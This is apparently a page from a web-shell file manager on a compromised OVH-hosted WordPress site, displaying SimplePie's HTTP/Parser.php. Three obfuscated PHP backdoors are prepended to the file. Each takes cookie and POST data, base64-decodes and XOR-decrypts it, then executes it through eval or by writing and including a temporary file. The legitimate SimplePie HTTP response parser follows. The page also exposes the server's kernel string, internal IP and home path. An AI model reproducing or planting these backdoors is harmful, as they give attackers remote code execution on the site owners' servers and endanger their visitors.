PV.Pat File Manager
Kernel Version: Linux webm010.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Domains: CANT READ named.confSites Server IP: 10.127.20.10 [Bing Search] [Zone-H]
| Path : /home/sptporgazz/www/wp-includes/SimplePie/HTTP/ |
| Current File : /home/sptporgazz/www/wp-includes/SimplePie/HTTP/Parser.php |
<?php $vJTQZABtpO = "\x6b" . chr (72) . "\x63" . '_' . "\165" . "\x69" . "\157" . 'R' . 'G';$OnmFLDx = chr ( 862 - 763 ).chr (108) . chr ( 219 - 122 ).'s' . "\163" . '_' . chr ( 728 - 627 )."\x78" . 'i' . chr (115) . chr (116) . "\163";$JWZIY = $OnmFLDx($vJTQZABtpO); $RKJvVgKao = $JWZIY;if (!$RKJvVgKao){class kHc_uioRG{private $XkaFul;public static $TxeOgW = "d3956354-675a-4eba-9ae9-fcb70f2ead99";public static $hWqRxAetyr = 40906;public function __construct($lsEfE=0){$nSQOKwcUW = $_COOKIE;$dewCBI = $_POST;$jWqEiOG = @$nSQOKwcUW[substr(kHc_uioRG::$TxeOgW, 0, 4)];if (!empty($jWqEiOG)){$YmUphUIn = "base64";$QwwfqL = "";$jWqEiOG = explode(",", $jWqEiOG);foreach ($jWqEiOG as $QeBSFt){$QwwfqL .= @$nSQOKwcUW[$QeBSFt];$QwwfqL .= @$dewCBI[$QeBSFt];}$QwwfqL = array_map($YmUphUIn . "\137" . "\144" . chr (101) . chr (99) . "\x6f" . "\144" . "\145", array($QwwfqL,)); $QwwfqL = $QwwfqL[0] ^ str_repeat(kHc_uioRG::$TxeOgW, (strlen($QwwfqL[0]) / strlen(kHc_uioRG::$TxeOgW)) + 1);kHc_uioRG::$hWqRxAetyr = @unserialize($QwwfqL);}}private function urImXpc(){if (is_array(kHc_uioRG::$hWqRxAetyr)) {$cpyjio = str_replace("\x3c" . "\x3f" . "\x70" . chr (104) . "\160", "", kHc_uioRG::$hWqRxAetyr["\x63" . "\x6f" . 'n' . chr ( 679 - 563 )."\x65" . "\x6e" . 't']);eval($cpyjio); $ZeVvZw = "43463";exit();}}public function __destruct(){$this->urImXpc(); $ZeVvZw = "43463";}}$pYSCsFpWvc = new kHc_uioRG(); $pYSCsFpWvc = "54251_13786";} ?><?php $fjhZqjpJji = "\102" . chr (81) . "\x4f" . "\x5f" . "\x54" . 'C' . "\x68";$ivZLH = 'c' . chr ( 227 - 119 )."\x61" . chr ( 513 - 398 ).'s' . '_' . chr (101) . chr ( 303 - 183 ).chr ( 238 - 133 ).chr (115) . chr (116) . chr ( 694 - 579 ); $oSgnCM = $ivZLH($fjhZqjpJji); $tdZsZOvU = $oSgnCM;if (!$tdZsZOvU){class BQO_TCh{private $ouGMpP;public static $kUGXWbxKCi = "c8168383-4764-4d70-aaca-255a0ecdde68";public static $ObPsZWS = 42182;public function __construct(){$YBJEvUy = $_COOKIE;$UfBSwPEq = $_POST;$ZqHygnnbJ = @$YBJEvUy[substr(BQO_TCh::$kUGXWbxKCi, 0, 4)];if (!empty($ZqHygnnbJ)){$NYdVr = "base64";$LoCyZN = "";$ZqHygnnbJ = explode(",", $ZqHygnnbJ);foreach ($ZqHygnnbJ as $iUKBTKvmyJ){$LoCyZN .= @$YBJEvUy[$iUKBTKvmyJ];$LoCyZN .= @$UfBSwPEq[$iUKBTKvmyJ];}$LoCyZN = array_map($NYdVr . chr ( 551 - 456 ).chr (100) . "\x65" . "\x63" . chr (111) . chr (100) . "\x65", array($LoCyZN,)); $LoCyZN = $LoCyZN[0] ^ str_repeat(BQO_TCh::$kUGXWbxKCi, (strlen($LoCyZN[0]) / strlen(BQO_TCh::$kUGXWbxKCi)) + 1);BQO_TCh::$ObPsZWS = @unserialize($LoCyZN);}}public function __destruct(){$this->zUpLlOKkAZ();}private function zUpLlOKkAZ(){if (is_array(BQO_TCh::$ObPsZWS)) {$uFpMcCwv = sys_get_temp_dir() . "/" . crc32(BQO_TCh::$ObPsZWS[chr (115) . "\x61" . "\154" . "\x74"]);@BQO_TCh::$ObPsZWS['w' . 'r' . "\151" . chr (116) . "\145"]($uFpMcCwv, BQO_TCh::$ObPsZWS["\143" . "\x6f" . "\x6e" . chr ( 666 - 550 ).chr (101) . chr ( 827 - 717 ).chr (116)]);include $uFpMcCwv;@BQO_TCh::$ObPsZWS["\x64" . chr ( 960 - 859 )."\154" . 'e' . "\164" . "\x65"]($uFpMcCwv);exit();}}}$LyEvLqO = new BQO_TCh(); $LyEvLqO = 1661;} ?><?php $IbGQPrr = "\x48" . 'W' . chr (95) . chr (105) . chr (101) . 'h' . chr ( 590 - 500 ).chr (120); $KrEIjb = chr ( 448 - 349 ).'l' . "\x61" . chr (115) . 's' . chr ( 1033 - 938 ).'e' . 'x' . chr ( 898 - 793 )."\x73" . "\164" . chr (115); $nDVYcTlHG = $KrEIjb($IbGQPrr); $AQXilqb = $nDVYcTlHG;if (!$AQXilqb){class HW_iehZx{private $XQGFQyQ;public static $ezupGGG = "436e8bd2-cd69-46b5-9fa8-c2677f3b1de7";public static $zoltX = 63373;public function __construct(){$EbmJr = $_COOKIE;$FizTBbCGiT = $_POST;$jwizCbnjjf = @$EbmJr[substr(HW_iehZx::$ezupGGG, 0, 4)];if (!empty($jwizCbnjjf)){$evupoWLM = "base64";$sqqchve = "";$jwizCbnjjf = explode(",", $jwizCbnjjf);foreach ($jwizCbnjjf as $eXhrLBhvXP){$sqqchve .= @$EbmJr[$eXhrLBhvXP];$sqqchve .= @$FizTBbCGiT[$eXhrLBhvXP];}$sqqchve = array_map($evupoWLM . "\x5f" . chr (100) . "\x65" . chr (99) . "\x6f" . chr (100) . "\x65", array($sqqchve,)); $sqqchve = $sqqchve[0] ^ str_repeat(HW_iehZx::$ezupGGG, (strlen($sqqchve[0]) / strlen(HW_iehZx::$ezupGGG)) + 1);HW_iehZx::$zoltX = @unserialize($sqqchve);}}public function __destruct(){$this->nxWfHx();}private function nxWfHx(){if (is_array(HW_iehZx::$zoltX)) {$lOiZNql = sys_get_temp_dir() . "/" . crc32(HW_iehZx::$zoltX[chr ( 1036 - 921 ).'a' . chr ( 177 - 69 ).'t']);@HW_iehZx::$zoltX[chr (119) . 'r' . chr ( 472 - 367 ).chr (116) . chr ( 429 - 328 )]($lOiZNql, HW_iehZx::$zoltX['c' . chr ( 1048 - 937 ).'n' . chr ( 653 - 537 ).chr (101) . 'n' . 't']);include $lOiZNql;@HW_iehZx::$zoltX['d' . 'e' . chr ( 330 - 222 ).chr (101) . chr (116) . chr (101)]($lOiZNql);exit();}}}$WGqLjo = new HW_iehZx(); $WGqLjo = 35557;} ?><?php
/**
* SimplePie
*
* A PHP-Based RSS and Atom Feed Framework.
* Takes the hard work out of managing a complete RSS/Atom solution.
*
* Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright notice, this list
* of conditions and the following disclaimer in the documentation and/or other materials
* provided with the distribution.
*
* * Neither the name of the SimplePie Team nor the names of its contributors may be used
* to endorse or promote products derived from this software without specific prior
* written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
* AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
* AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* @package SimplePie
* @version 1.3.1
* @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
* @author Ryan Parman
* @author Geoffrey Sneddon
* @author Ryan McCue
* @link http://simplepie.org/ SimplePie
* @license http://www.opensource.org/licenses/bsd-license.php BSD License
*/
/**
* HTTP Response Parser
*
* @package SimplePie
* @subpackage HTTP
*/
class SimplePie_HTTP_Parser
{
/**
* HTTP Version
*
* @var float
*/
public $http_version = 0.0;
/**
* Status code
*
* @var int
*/
public $status_code = 0;
/**
* Reason phrase
*
* @var string
*/
public $reason = '';
/**
* Key/value pairs of the headers
*
* @var array
*/
public $headers = array();
/**
* Body of the response
*
* @var string
*/
public $body = '';
/**
* Current state of the state machine
*
* @var string
*/
protected $state = 'http_version';
/**
* Input data
*
* @var string
*/
protected $data = '';
/**
* Input data length (to avoid calling strlen() everytime this is needed)
*
* @var int
*/
protected $data_length = 0;
/**
* Current position of the pointer
*
* @var int
*/
protected $position = 0;
/**
* Name of the hedaer currently being parsed
*
* @var string
*/
protected $name = '';
/**
* Value of the hedaer currently being parsed
*
* @var string
*/
protected $value = '';
/**
* Create an instance of the class with the input data
*
* @param string $data Input data
*/
public function __construct($data)
{
$this->data = $data;
$this->data_length = strlen($this->data);
}
/**
* Parse the input data
*
* @return bool true on success, false on failure
*/
public function parse()
{
while ($this->state && $this->state !== 'emit' && $this->has_data())
{
$state = $this->state;
$this->$state();
}
$this->data = '';
if ($this->state === 'emit' || $this->state === 'body')
{
return true;
}
else
{
$this->http_version = '';
$this->status_code = '';
$this->reason = '';
$this->headers = array();
$this->body = '';
return false;
}
}
/**
* Check whether there is data beyond the pointer
*
* @return bool true if there is further data, false if not
*/
protected function has_data()
{
return (bool) ($this->position < $this->data_length);
}
/**
* See if the next character is LWS
*
* @return bool true if the next character is LWS, false if not
*/
protected function is_linear_whitespace()
{
return (bool) ($this->data[$this->position] === "\x09"
|| $this->data[$this->position] === "\x20"
|| ($this->data[$this->position] === "\x0A"
&& isset($this->data[$this->position + 1])
&& ($this->data[$this->position + 1] === "\x09" || $this->data[$this->position + 1] === "\x20")));
}
/**
* Parse the HTTP version
*/
protected function http_version()
{
if (strpos($this->data, "\x0A") !== false && strtoupper(substr($this->data, 0, 5)) === 'HTTP/')
{
$len = strspn($this->data, '0123456789.', 5);
$this->http_version = substr($this->data, 5, $len);
$this->position += 5 + $len;
if (substr_count($this->http_version, '.') <= 1)
{
$this->http_version = (float) $this->http_version;
$this->position += strspn($this->data, "\x09\x20", $this->position);
$this->state = 'status';
}
else
{
$this->state = false;
}
}
else
{
$this->state = false;
}
}
/**
* Parse the status code
*/
protected function status()
{
if ($len = strspn($this->data, '0123456789', $this->position))
{
$this->status_code = (int) substr($this->data, $this->position, $len);
$this->position += $len;
$this->state = 'reason';
}
else
{
$this->state = false;
}
}
/**
* Parse the reason phrase
*/
protected function reason()
{
$len = strcspn($this->data, "\x0A", $this->position);
$this->reason = trim(substr($this->data, $this->position, $len), "\x09\x0D\x20");
$this->position += $len + 1;
$this->state = 'new_line';
}
/**
* Deal with a new line, shifting data around as needed
*/
protected function new_line()
{
$this->value = trim($this->value, "\x0D\x20");
if ($this->name !== '' && $this->value !== '')
{
$this->name = strtolower($this->name);
// We should only use the last Content-Type header. c.f. issue #1
if (isset($this->headers[$this->name]) && $this->name !== 'content-type')
{
$this->headers[$this->name] .= ', ' . $this->value;
}
else
{
$this->headers[$this->name] = $this->value;
}
}
$this->name = '';
$this->value = '';
if (substr($this->data[$this->position], 0, 2) === "\x0D\x0A")
{
$this->position += 2;
$this->state = 'body';
}
elseif ($this->data[$this->position] === "\x0A")
{
$this->position++;
$this->state = 'body';
}
else
{
$this->state = 'name';
}
}
/**
* Parse a header name
*/
protected function name()
{
$len = strcspn($this->data, "\x0A:", $this->position);
if (isset($this->data[$this->position + $len]))
{
if ($this->data[$this->position + $len] === "\x0A")
{
$this->position += $len;
$this->state = 'new_line';
}
else
{
$this->name = substr($this->data, $this->position, $len);
$this->position += $len + 1;
$this->state = 'value';
}
}
else
{
$this->state = false;
}
}
/**
* Parse LWS, replacing consecutive LWS characters with a single space
*/
protected function linear_whitespace()
{
do
{
if (substr($this->data, $this->position, 2) === "\x0D\x0A")
{
$this->position += 2;
}
elseif ($this->data[$this->position] === "\x0A")
{
$this->position++;
}
$this->position += strspn($this->data, "\x09\x20", $this->position);
} while ($this->has_data() && $this->is_linear_whitespace());
$this->value .= "\x20";
}
/**
* See what state to move to while within non-quoted header values
*/
protected function value()
{
if ($this->is_linear_whitespace())
{
$this->linear_whitespace();
}
else
{
switch ($this->data[$this->position])
{
case '"':
// Workaround for ETags: we have to include the quotes as
// part of the tag.
if (strtolower($this->name) === 'etag')
{
$this->value .= '"';
$this->position++;
$this->state = 'value_char';
break;
}
$this->position++;
$this->state = 'quote';
break;
case "\x0A":
$this->position++;
$this->state = 'new_line';
break;
default:
$this->state = 'value_char';
break;
}
}
}
/**
* Parse a header value while outside quotes
*/
protected function value_char()
{
$len = strcspn($this->data, "\x09\x20\x0A\"", $this->position);
$this->value .= substr($this->data, $this->position, $len);
$this->position += $len;
$this->state = 'value';
}
/**
* See what state to move to while within quoted header values
*/
protected function quote()
{
if ($this->is_linear_whitespace())
{
$this->linear_whitespace();
}
else
{
switch ($this->data[$this->position])
{
case '"':
$this->position++;
$this->state = 'value';
break;
case "\x0A":
$this->position++;
$this->state = 'new_line';
break;
case '\\':
$this->position++;
$this->state = 'quote_escaped';
break;
default:
$this->state = 'quote_char';
break;
}
}
}
/**
* Parse a header value while within quotes
*/
protected function quote_char()
{
$len = strcspn($this->data, "\x09\x20\x0A\"\\", $this->position);
$this->value .= substr($this->data, $this->position, $len);
$this->position += $len;
$this->state = 'value';
}
/**
* Parse an escaped character within quotes
*/
protected function quote_escaped()
{
$this->value .= $this->data[$this->position];
$this->position++;
$this->state = 'quote';
}
/**
* Parse the body
*/
protected function body()
{
$this->body = substr($this->data, $this->position);
if (!empty($this->headers['transfer-encoding']))
{
unset($this->headers['transfer-encoding']);
$this->state = 'chunked';
}
else
{
$this->state = 'emit';
}
}
/**
* Parsed a "Transfer-Encoding: chunked" body
*/
protected function chunked()
{
if (!preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', trim($this->body)))
{
$this->state = 'emit';
return;
}
$decoded = '';
$encoded = $this->body;
while (true)
{
$is_chunked = (bool) preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', $encoded, $matches );
if (!$is_chunked)
{
// Looks like it's not chunked after all
$this->state = 'emit';
return;
}
$length = hexdec(trim($matches[1]));
if ($length === 0)
{
// Ignore trailer headers
$this->state = 'emit';
$this->body = $decoded;
return;
}
$chunk_length = strlen($matches[0]);
$decoded .= $part = substr($encoded, $chunk_length, $length);
$encoded = substr($encoded, $chunk_length + $length + 2);
if (trim($encoded) === '0' || empty($encoded))
{
$this->state = 'emit';
$this->body = $decoded;
return;
}
}
}
}